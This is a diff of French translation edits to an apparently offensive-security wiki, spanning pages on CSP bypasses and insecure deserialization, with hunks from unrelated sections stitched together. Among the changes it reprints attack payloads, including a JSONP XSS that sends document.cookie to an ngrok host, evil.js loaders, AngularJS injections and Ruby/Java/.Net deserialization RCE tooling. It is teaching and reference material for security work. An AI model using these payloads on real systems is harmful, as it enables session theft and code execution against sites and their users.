Selon [**ce compte rendu CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves), vous pouvez abuser de [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) à l'intérieur d'une CSP pour exécuter du code JS arbitraire en contournant la CSP :
|
||||
Selon [**ce rapport CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves), vous pouvez abuser de [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) à l'intérieur d'un CSP pour exécuter du code JS arbitraire en contournant le CSP :
|
||||
```html
|
||||
<div
|
||||
ng-controller="CarouselController as c"
|
||||
@ -260,7 +260,7 @@ b=doc.createElement("script");
|
||||
b.src="//example.com/evil.js";
|
||||
b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
```
|
||||
#### Abuser de www.google.com pour un redirection ouverte
|
||||
#### Abuser de www.google.com pour une redirection ouverte
|
||||
|
||||
L'URL suivante redirige vers example.com (depuis [ici](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
```
|
||||
@ -275,7 +275,7 @@ Il est possible d'abuser de Google Apps Script pour recevoir des informations su
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
Des scénarios comme celui-ci où `script-src` est défini sur `self` et un domaine particulier qui est sur liste blanche peuvent être contournés en utilisant JSONP. Les points de terminaison JSONP permettent des méthodes de rappel non sécurisées qui permettent à un attaquant d'effectuer des XSS, charge utile fonctionnelle :
|
||||
```markup
|
||||
```html
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
```
|
||||
@ -292,7 +292,7 @@ La même vulnérabilité se produira si le **point de terminaison de confiance c
|
||||
|
||||
Comme décrit dans le [post suivant](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), il existe de nombreux domaines tiers, qui pourraient être autorisés quelque part dans le CSP, pouvant être abusés pour soit exfiltrer des données, soit exécuter du code JavaScript. Certains de ces tiers sont :
|
||||
|
||||
| Entité | Domaine Autorisé | Capacités |
|
||||
| Entité | Domaine autorisé | Capacités |
|
||||
| ----------------- | ------------------------------------------- | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
@ -343,11 +343,11 @@ Le navigateur chargera finalement `https://example.com/scripts/angular/angular.j
|
||||
|
||||
Cela fonctionne parce que pour le navigateur, vous chargez un fichier nommé `..%2fangular%2fangular.js` situé sous `https://example.com/scripts/react/`, ce qui est conforme au CSP.
|
||||
|
||||
∑, ils le décoderont, demandant effectivement `https://example.com/scripts/react/../angular/angular.js`, ce qui équivaut à `https://example.com/scripts/angular/angular.js`.
|
||||
∑, ils le décoderont, demandant effectivement `https://example.com/scripts/react/../angular/angular.js`, ce qui est équivalent à `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
En **exploiter cette incohérence dans l'interprétation des URL entre le navigateur et le serveur, les règles de chemin peuvent être contournées**.
|
||||
En **exploité cette incohérence dans l'interprétation des URL entre le navigateur et le serveur, les règles de chemin peuvent être contournées**.
|
||||
|
||||
La solution est de ne pas traiter `%2f` comme `/` côté serveur, garantissant une interprétation cohérente entre le navigateur et le serveur pour éviter ce problème.
|
||||
La solution consiste à ne pas traiter `%2f` comme `/` côté serveur, garantissant une interprétation cohérente entre le navigateur et le serveur pour éviter ce problème.
|
||||
|
||||
Exemple en ligne :[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
|
||||
@ -375,7 +375,7 @@ En dirigeant ce tableau vers le filtre `orderBy`, il est possible de l'itérer,
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
```
|
||||
Ce extrait met en évidence l'utilisation de la directive `ng-focus` pour déclencher l'événement, en utilisant `$event.path|orderBy` pour manipuler le tableau `path`, et en tirant parti de l'objet `window` pour exécuter la fonction `alert()`, révélant ainsi `document.cookie`.
|
||||
Ce snippet met en évidence l'utilisation de la directive `ng-focus` pour déclencher l'événement, en utilisant `$event.path|orderBy` pour manipuler le tableau `path`, et en s'appuyant sur l'objet `window` pour exécuter la fonction `alert()`, révélant ainsi `document.cookie`.
|
||||
|
||||
**Trouvez d'autres contournements Angular dans** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||
|
||||
@ -427,7 +427,7 @@ Avec cette redirection, même si le chemin est spécifié complètement, il sera
|
||||
|
||||
Par conséquent, la meilleure solution est de s'assurer que le site Web n'a pas de vulnérabilités de redirection ouvertes et qu'il n'y a pas de domaines qui peuvent être exploités dans les règles CSP.
|
||||
|
||||
### Contournement de CSP avec balisage pendu
|
||||
### Contournement de CSP avec du balisage pendu
|
||||
|
||||
Lisez [comment ici](../dangling-markup-html-scriptless-injection/index.html).
|
||||
|
||||
@ -435,7 +435,7 @@ Lisez [comment ici](../dangling-markup-html-scriptless-injection/index.html).
|
||||
```
|
||||
default-src 'self' 'unsafe-inline'; img-src *;
|
||||
```
|
||||
`'unsafe-inline'` signifie que vous pouvez exécuter n'importe quel script dans le code (XSS peut exécuter du code) et `img-src *` signifie que vous pouvez utiliser sur la page web n'importe quelle image provenant de n'importe quelle ressource.
|
||||
`'unsafe-inline'` signifie que vous pouvez exécuter n'importe quel script à l'intérieur du code (XSS peut exécuter du code) et `img-src *` signifie que vous pouvez utiliser sur la page web n'importe quelle image provenant de n'importe quelle ressource.
|
||||
|
||||
Vous pouvez contourner cette CSP en exfiltrant les données via des images (dans ce cas, le XSS abuse d'un CSRF où une page accessible par le bot contient un SQLi, et extrait le drapeau via une image) :
|
||||
```javascript
|
||||
@ -472,7 +472,7 @@ Vous pouvez trouver un exemple ici : [http://portswigger-labs.net/edge_csp_injec
|
||||
|
||||
#### Edge
|
||||
|
||||
Dans Edge, c'est beaucoup plus simple. Si vous pouvez ajouter dans le CSP juste ceci : **`;_`** **Edge** va **supprimer** l'**entière politique**.\
|
||||
Dans Edge, c'est beaucoup plus simple. Si vous pouvez ajouter dans le CSP juste ceci : **`;_`** **Edge** va **supprimer** l'**entière** **politique**.\
|
||||
Exemple : [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
|
||||
|
||||
### img-src \*; via XSS (iframe) - Attaque temporelle
|
||||
@ -546,7 +546,7 @@ Cette attaque impliquerait une ingénierie sociale où l'attaquant **convainc l'
|
||||
|
||||
Pour plus d'informations [**consultez le rapport original ici**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
### CSP bypass by restricting CSP
|
||||
### Bypass CSP en restreignant CSP
|
||||
|
||||
Dans [**ce CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP est contourné en injectant à l'intérieur d'un iframe autorisé un CSP plus restrictif qui interdisait de charger un fichier JS spécifique qui, ensuite, via **prototype pollution** ou **dom clobbering**, permettait de **profiter d'un script différent pour charger un script arbitraire**.
|
||||
|
||||
@ -566,11 +566,11 @@ content="script-src 'self'
|
||||
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
|
||||
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
|
||||
```
|
||||
### JS exfiltration avec Content-Security-Policy-Report-Only
|
||||
### Exfiltration JS avec Content-Security-Policy-Report-Only
|
||||
|
||||
Si vous parvenez à faire en sorte que le serveur réponde avec l'en-tête **`Content-Security-Policy-Report-Only`** avec une **valeur contrôlée par vous** (peut-être à cause d'un CRLF), vous pourriez le faire pointer vers votre serveur et si vous **enveloppez** le **contenu JS** que vous souhaitez exfiltrer avec **`<script>`** et parce que `unsafe-inline` n'est probablement pas autorisé par le CSP, cela **déclenchera une erreur CSP** et une partie du script (contenant les informations sensibles) sera envoyée au serveur depuis `Content-Security-Policy-Report-Only`.
|
||||
Si vous parvenez à faire en sorte que le serveur réponde avec l'en-tête **`Content-Security-Policy-Report-Only`** avec une **valeur contrôlée par vous** (peut-être à cause d'un CRLF), vous pourriez le faire pointer vers votre serveur et si vous **enveloppez** le **contenu JS** que vous souhaitez exfiltrer avec **`<script>`** et parce que très probablement `unsafe-inline` n'est pas autorisé par le CSP, cela **déclenchera une erreur CSP** et une partie du script (contenant les informations sensibles) sera envoyée au serveur depuis `Content-Security-Policy-Report-Only`.
|
||||
|
||||
Pour un exemple [**vérifiez ce CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
Pour un exemple [**vérifiez ce writeup CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
|
||||
```javascript
|
||||
@ -610,7 +610,7 @@ Idée de [**ce writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-C
|
||||
|
||||
### Réécrire la page d'erreur
|
||||
|
||||
D'après [**ce writeup**](https://blog.ssrf.kr/69), il semble qu'il ait été possible de contourner une protection CSP en chargeant une page d'erreur (potentiellement sans CSP) et en réécrivant son contenu.
|
||||
D'après [**ce writeup**](https://blog.ssrf.kr/69), il semble qu'il était possible de contourner une protection CSP en chargeant une page d'erreur (potentiellement sans CSP) et en réécrivant son contenu.
|
||||
```javascript
|
||||
a = window.open("/" + "x".repeat(4100))
|
||||
setTimeout(function () {
|
||||
@ -680,7 +680,7 @@ X-DNS-Prefetch-Control: off
|
||||
|
||||
Sur plusieurs pages, vous pouvez lire que **WebRTC ne vérifie pas la politique `connect-src`** du CSP.
|
||||
|
||||
En fait, vous pouvez _leak_ des informations en utilisant une _demande DNS_. Consultez ce code :
|
||||
En fait, vous pouvez _leak_ des informations en utilisant une _requête DNS_. Consultez ce code :
|
||||
```javascript
|
||||
;(async () => {
|
||||
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
|
||||
@ -702,7 +702,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
||||
```
|
||||
### CredentialsContainer
|
||||
|
||||
La fenêtre contextuelle des identifiants envoie une requête DNS à l'iconURL sans être restreinte par la page. Cela ne fonctionne que dans un contexte sécurisé (HTTPS) ou sur localhost.
|
||||
La fenêtre contextuelle des identifiants envoie une requête DNS à l'iconURL sans être restreinte par la page. Elle ne fonctionne que dans un contexte sécurisé (HTTPS) ou sur localhost.
|
||||
```javascript
|
||||
navigator.credentials.store(
|
||||
new FederatedCredential({
|
||||
|
||||
@ -74,7 +74,7 @@ This is a test<br />
|
||||
*/
|
||||
?>
|
||||
```
|
||||
Si vous regardez les résultats, vous pouvez voir que les fonctions **`__wakeup`** et **`__destruct`** sont appelées lorsque l'objet est désérialisé. Notez que dans plusieurs tutoriels, vous trouverez que la fonction **`__toString`** est appelée lors de la tentative d'impression d'un attribut, mais apparemment, cela **n'arrive plus**.
|
||||
Si vous regardez les résultats, vous pouvez voir que les fonctions **`__wakeup`** et **`__destruct`** sont appelées lorsque l'objet est désérialisé. Notez que dans plusieurs tutoriels, vous trouverez que la fonction **`__toString`** est appelée lorsque vous essayez d'imprimer un attribut, mais apparemment, cela **n'arrive plus**.
|
||||
|
||||
> [!WARNING]
|
||||
> La méthode **`__unserialize(array $data)`** est appelée **au lieu de `__wakeup()`** si elle est implémentée dans la classe. Elle vous permet de désérialiser l'objet en fournissant les données sérialisées sous forme de tableau. Vous pouvez utiliser cette méthode pour désérialiser des propriétés et effectuer toutes les tâches nécessaires lors de la désérialisation.
|
||||
@ -282,7 +282,7 @@ funcster.deepDeserialize(desertest3)
|
||||
|
||||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||||
|
||||
Le package **serialize-javascript** est conçu exclusivement pour des fins de sérialisation, sans capacités de désérialisation intégrées. Les utilisateurs sont responsables de la mise en œuvre de leur propre méthode de désérialisation. Une utilisation directe de `eval` est suggérée par l'exemple officiel pour désérialiser des données sérialisées :
|
||||
Le package **serialize-javascript** est conçu exclusivement pour des fins de sérialisation, sans capacités de désérialisation intégrées. Les utilisateurs sont responsables de la mise en œuvre de leur propre méthode de désérialisation. Un usage direct de `eval` est suggéré par l'exemple officiel pour désérialiser des données sérialisées :
|
||||
```javascript
|
||||
function deserialize(serializedJavascript) {
|
||||
return eval("(" + serializedJavascript + ")")
|
||||
@ -322,14 +322,14 @@ En Java, **les rappels de désérialisation sont exécutés pendant le processus
|
||||
Pour identifier les vulnérabilités potentielles de sérialisation dans le code, recherchez :
|
||||
|
||||
- Des classes qui implémentent l'interface `Serializable`.
|
||||
- L'utilisation des fonctions `java.io.ObjectInputStream`, `readObject`, `readUnshare`.
|
||||
- L'utilisation des fonctions `java.io.ObjectInputStream`, `readObject`, `readUnshared`.
|
||||
|
||||
Faites particulièrement attention à :
|
||||
|
||||
- `XMLDecoder` utilisé avec des paramètres définis par des utilisateurs externes.
|
||||
- La méthode `fromXML` de `XStream`, surtout si la version de XStream est inférieure ou égale à 1.46, car elle est sujette à des problèmes de sérialisation.
|
||||
- `ObjectInputStream` associé à la méthode `readObject`.
|
||||
- L'implémentation de méthodes telles que `readObject`, `readObjectNodData`, `readResolve` ou `readExternal`.
|
||||
- L'implémentation de méthodes telles que `readObject`, `readObjectNodData`, `readResolve`, ou `readExternal`.
|
||||
- `ObjectInputStream.readUnshared`.
|
||||
- Utilisation générale de `Serializable`.
|
||||
|
||||
@ -348,11 +348,11 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA
|
||||
```
|
||||
### Vérifiez si vulnérable
|
||||
|
||||
Si vous voulez **apprendre comment fonctionne une exploitation de désérialisation Java**, vous devriez jeter un œil à [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), et [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
|
||||
Si vous voulez **apprendre comment fonctionne une exploitation de désérialisation Java**, vous devriez jeter un œil à [**Désérialisation Java de base**](basic-java-deserialization-objectinputstream-readobject.md), [**Désérialisation DNS Java**](java-dns-deserialization-and-gadgetprobe.md), et [**Charge utile CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
|
||||
|
||||
#### Test en boîte blanche
|
||||
|
||||
Vous pouvez vérifier s'il y a une application installée avec des vulnérabilités connues.
|
||||
Vous pouvez vérifier s'il y a des applications installées avec des vulnérabilités connues.
|
||||
```bash
|
||||
find . -iname "*commons*collection*"
|
||||
grep -R InvokeTransformer .
|
||||
@ -461,7 +461,7 @@ Vous pouvez **utiliser** [**https://github.com/pwntester/SerialKillerBypassGadge
|
||||
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec) peut être utilisé pour générer des charges utiles afin d'exploiter différentes bibliothèques de sérialisation **Json** et **Yml** en Java.\
|
||||
Pour compiler le projet, j'ai dû **ajouter** ces **dépendances** à `pom.xml` :
|
||||
```markup
|
||||
```html
|
||||
<dependency>
|
||||
<groupId>javax.activation</groupId>
|
||||
<artifactId>activation</artifactId>
|
||||
@ -495,9 +495,9 @@ Java utilise beaucoup de sérialisation pour divers objectifs comme :
|
||||
|
||||
- **Requêtes HTTP** : La sérialisation est largement utilisée dans la gestion des paramètres, ViewState, cookies, etc.
|
||||
- **RMI (Remote Method Invocation)** : Le protocole RMI de Java, qui repose entièrement sur la sérialisation, est un pilier de la communication à distance dans les applications Java.
|
||||
- **RMI sur HTTP** : Cette méthode est couramment utilisée par les applications web à client épais basées sur Java, utilisant la sérialisation pour toutes les communications d'objets.
|
||||
- **RMI sur HTTP** : Cette méthode est couramment utilisée par les applications web clientes lourdes basées sur Java, utilisant la sérialisation pour toutes les communications d'objets.
|
||||
- **JMX (Java Management Extensions)** : JMX utilise la sérialisation pour transmettre des objets sur le réseau.
|
||||
- **Protocoles personnalisés** : En Java, la pratique standard consiste à transmettre des objets Java bruts, ce qui sera démontré dans les prochains exemples d'exploitation.
|
||||
- **Protocoles personnalisés** : En Java, la pratique standard consiste à transmettre des objets Java bruts, ce qui sera démontré dans les exemples d'exploit à venir.
|
||||
|
||||
### Prévention
|
||||
|
||||
@ -525,7 +525,7 @@ throw new java.io.IOException("Cannot be deserialized");
|
||||
- Le code de désérialisation est sous votre contrôle.
|
||||
- Les classes attendues pour la désérialisation sont connues.
|
||||
|
||||
Surchargez la **`resolveClass()`** méthode pour limiter la désérialisation aux classes autorisées uniquement. Cela empêche la désérialisation de toute classe sauf celles explicitement autorisées, comme dans l'exemple suivant qui restreint la désérialisation à la classe `Bicycle` uniquement :
|
||||
Surchargez la méthode **`resolveClass()`** pour limiter la désérialisation aux classes autorisées uniquement. Cela empêche la désérialisation de toute classe sauf celles explicitement autorisées, comme dans l'exemple suivant qui restreint la désérialisation à la classe `Bicycle` uniquement :
|
||||
```java
|
||||
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
||||
public class LookAheadObjectInputStream extends ObjectInputStream {
|
||||
@ -554,7 +554,7 @@ Il fournit un moyen de sécuriser la désérialisation de manière dynamique, id
|
||||
|
||||
Vérifiez un exemple dans [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
||||
|
||||
**Implémentation des filtres de sérialisation** : Java 9 a introduit des filtres de sérialisation via l'interface **`ObjectInputFilter`**, fournissant un mécanisme puissant pour spécifier les critères que les objets sérialisés doivent respecter avant d'être désérialisés. Ces filtres peuvent être appliqués globalement ou par flux, offrant un contrôle granulaire sur le processus de désérialisation.
|
||||
**Implémentation des filtres de sérialisation** : Java 9 a introduit des filtres de sérialisation via l'**`ObjectInputFilter`**, fournissant un mécanisme puissant pour spécifier les critères que les objets sérialisés doivent respecter avant d'être désérialisés. Ces filtres peuvent être appliqués globalement ou par flux, offrant un contrôle granulaire sur le processus de désérialisation.
|
||||
|
||||
Pour utiliser les filtres de sérialisation, vous pouvez définir un filtre global qui s'applique à toutes les opérations de désérialisation ou le configurer dynamiquement pour des flux spécifiques. Par exemple :
|
||||
```java
|
||||
@ -568,7 +568,7 @@ return Status.ALLOWED;
|
||||
};
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
**Exploitation des bibliothèques externes pour une sécurité améliorée** : Des bibliothèques telles que **NotSoSerial**, **jdeserialize** et **Kryo** offrent des fonctionnalités avancées pour contrôler et surveiller la désérialisation Java. Ces bibliothèques peuvent fournir des couches de sécurité supplémentaires, telles que la mise en liste blanche ou noire de classes, l'analyse d'objets sérialisés avant la désérialisation et la mise en œuvre de stratégies de sérialisation personnalisées.
|
||||
**Exploitation des bibliothèques externes pour une sécurité renforcée** : Des bibliothèques telles que **NotSoSerial**, **jdeserialize** et **Kryo** offrent des fonctionnalités avancées pour contrôler et surveiller la désérialisation Java. Ces bibliothèques peuvent fournir des couches de sécurité supplémentaires, telles que la mise sur liste blanche ou noire de classes, l'analyse des objets sérialisés avant la désérialisation et la mise en œuvre de stratégies de sérialisation personnalisées.
|
||||
|
||||
- **NotSoSerial** intercepte les processus de désérialisation pour empêcher l'exécution de code non fiable.
|
||||
- **jdeserialize** permet l'analyse d'objets Java sérialisés sans les désérialiser, aidant à identifier un contenu potentiellement malveillant.
|
||||
@ -577,7 +577,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
### Références
|
||||
|
||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
|
||||
- Discussion sur la désérialisation et ysoserial : [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
- Désérialisation et discussion sur ysoserial : [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
||||
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
||||
- Discussion sur gadgetinspector : [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) et diapositives : [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
@ -585,7 +585,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||||
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||||
- Document sur la désérialisation JSON Java et .Net **: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** discussion : [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) et diapositives : [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- Document sur la désérialisation JSON de Java et .Net **: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** discussion : [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) et diapositives : [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- CVEs de désérialisation : [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
|
||||
## Injection JNDI & log4Shell
|
||||
@ -615,11 +615,11 @@ Cela signifie que dans cette exploitation, tous les **clients qui vont utiliser
|
||||
|
||||
Vous devez vous rappeler que même si un service est vulnérable (car il désérialise de manière non sécurisée l'entrée utilisateur), vous devez toujours trouver des gadgets valides pour exploiter la vulnérabilité.
|
||||
|
||||
L'outil [JMET](https://github.com/matthiaskaiser/jmet) a été créé pour **se connecter et attaquer ces services en envoyant plusieurs objets malveillants sérialisés utilisant des gadgets connus**. Ces exploits fonctionneront si le service est toujours vulnérable et si l'un des gadgets utilisés se trouve dans l'application vulnérable.
|
||||
L'outil [JMET](https://github.com/matthiaskaiser/jmet) a été créé pour **se connecter et attaquer ces services en envoyant plusieurs objets malveillants sérialisés en utilisant des gadgets connus**. Ces exploits fonctionneront si le service est toujours vulnérable et si l'un des gadgets utilisés se trouve dans l'application vulnérable.
|
||||
|
||||
### Références
|
||||
|
||||
- Discussion JMET : [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||||
- Discussion sur JMET : [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||||
- Diapositives : [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
||||
|
||||
## .Net
|
||||
@ -651,10 +651,10 @@ Les principales options de **ysoserial.net** sont : **`--gadget`**, **`--formatt
|
||||
|
||||
- **`--gadget`** utilisé pour indiquer le gadget à abuser (indique la classe/fonction qui sera abusée lors de la désérialisation pour exécuter des commandes).
|
||||
- **`--formatter`**, utilisé pour indiquer la méthode pour sérialiser l'exploit (vous devez savoir quelle bibliothèque est utilisée par le back-end pour désérialiser la charge utile et utiliser la même pour la sérialiser)
|
||||
- **`--output`** utilisé pour indiquer si vous souhaitez l'exploit en **brut** ou **base64**. _Notez que **ysoserial.net** va **encoder** la charge utile en utilisant **UTF-16LE** (encodage utilisé par défaut sur Windows) donc si vous obtenez le brut et que vous l'encodez simplement depuis une console linux, vous pourriez avoir des **problèmes de compatibilité d'encodage** qui empêcheront l'exploit de fonctionner correctement (dans la boîte JSON HTB, la charge utile a fonctionné à la fois en UTF-16LE et en ASCII mais cela ne signifie pas que cela fonctionnera toujours)._
|
||||
- **`--output`** utilisé pour indiquer si vous voulez l'exploit en **brut** ou **encodé en base64**. _Notez que **ysoserial.net** va **encoder** la charge utile en utilisant **UTF-16LE** (encodage utilisé par défaut sur Windows) donc si vous obtenez le brut et que vous l'encodez simplement depuis une console linux, vous pourriez avoir des **problèmes de compatibilité d'encodage** qui empêcheront l'exploit de fonctionner correctement (dans la boîte JSON HTB, la charge utile a fonctionné à la fois en UTF-16LE et en ASCII, mais cela ne signifie pas que cela fonctionnera toujours)._
|
||||
- **`--plugin`** ysoserial.net prend en charge les plugins pour créer des **exploits pour des frameworks spécifiques** comme ViewState
|
||||
|
||||
#### Autres paramètres de ysoserial.net
|
||||
#### Plus de paramètres ysoserial.net
|
||||
|
||||
- `--minify` fournira une **charge utile plus petite** (si possible)
|
||||
- `--raf -f Json.Net -c "anything"` Cela indiquera tous les gadgets qui peuvent être utilisés avec un sérialiseur fourni (`Json.Net` dans ce cas)
|
||||
@ -706,7 +706,7 @@ return obj;
|
||||
}
|
||||
```
|
||||
Dans le **code précédent, il est vulnérable à l'exploit créé**. Donc, si vous trouvez quelque chose de similaire dans une application .Net, cela signifie que probablement cette application est vulnérable aussi.\
|
||||
Par conséquent, le **`--test`** paramètre nous permet de comprendre **quels morceaux de code sont vulnérables** à l'exploit de désérialisation que **ysoserial.net** peut créer.
|
||||
Par conséquent, le **`--test`** permet de comprendre **quels morceaux de code sont vulnérables** à l'exploit de désérialisation que **ysoserial.net** peut créer.
|
||||
|
||||
### ViewState
|
||||
|
||||
@ -735,7 +735,7 @@ Pour atténuer les risques associés à la désérialisation dans .Net :
|
||||
|
||||
## **Ruby**
|
||||
|
||||
En Ruby, la sérialisation est facilitée par deux méthodes dans la bibliothèque **marshal**. La première méthode, connue sous le nom de **dump**, est utilisée pour transformer un objet en un flux d'octets. Ce processus est appelé sérialisation. À l'inverse, la deuxième méthode, **load**, est utilisée pour revenir à un flux d'octets en un objet, un processus connu sous le nom de désérialisation.
|
||||
En Ruby, la sérialisation est facilitée par deux méthodes dans la bibliothèque **marshal**. La première méthode, connue sous le nom de **dump**, est utilisée pour transformer un objet en un flux d'octets. Ce processus est appelé sérialisation. À l'inverse, la deuxième méthode, **load**, est utilisée pour revenir d'un flux d'octets à un objet, un processus connu sous le nom de désérialisation.
|
||||
|
||||
Pour sécuriser les objets sérialisés, **Ruby utilise HMAC (Hash-Based Message Authentication Code)**, garantissant l'intégrité et l'authenticité des données. La clé utilisée à cette fin est stockée dans l'un des plusieurs emplacements possibles :
|
||||
|
||||
@ -819,7 +819,7 @@ Autre chaîne RCE pour exploiter Ruby On Rails : [https://codeclimate.com/blog/r
|
||||
|
||||
### Méthode Ruby .send()
|
||||
|
||||
Comme expliqué dans [**ce rapport de vulnérabilité**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), si une entrée non filtrée d'un utilisateur atteint la méthode `.send()` d'un objet ruby, cette méthode permet **d'invoquer n'importe quelle autre méthode** de l'objet avec n'importe quels paramètres.
|
||||
Comme expliqué dans [**ce rapport de vulnérabilité**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), si une entrée non assainie d'un utilisateur atteint la méthode `.send()` d'un objet ruby, cette méthode permet **d'invoquer n'importe quelle autre méthode** de l'objet avec n'importe quels paramètres.
|
||||
|
||||
Par exemple, appeler eval et ensuite du code ruby comme deuxième paramètre permettra d'exécuter du code arbitraire :
|
||||
```ruby
|
||||
@ -860,7 +860,7 @@ Vérifiez plus d'informations sur la [page de pollution _json Ruby](ruby-_json-p
|
||||
|
||||
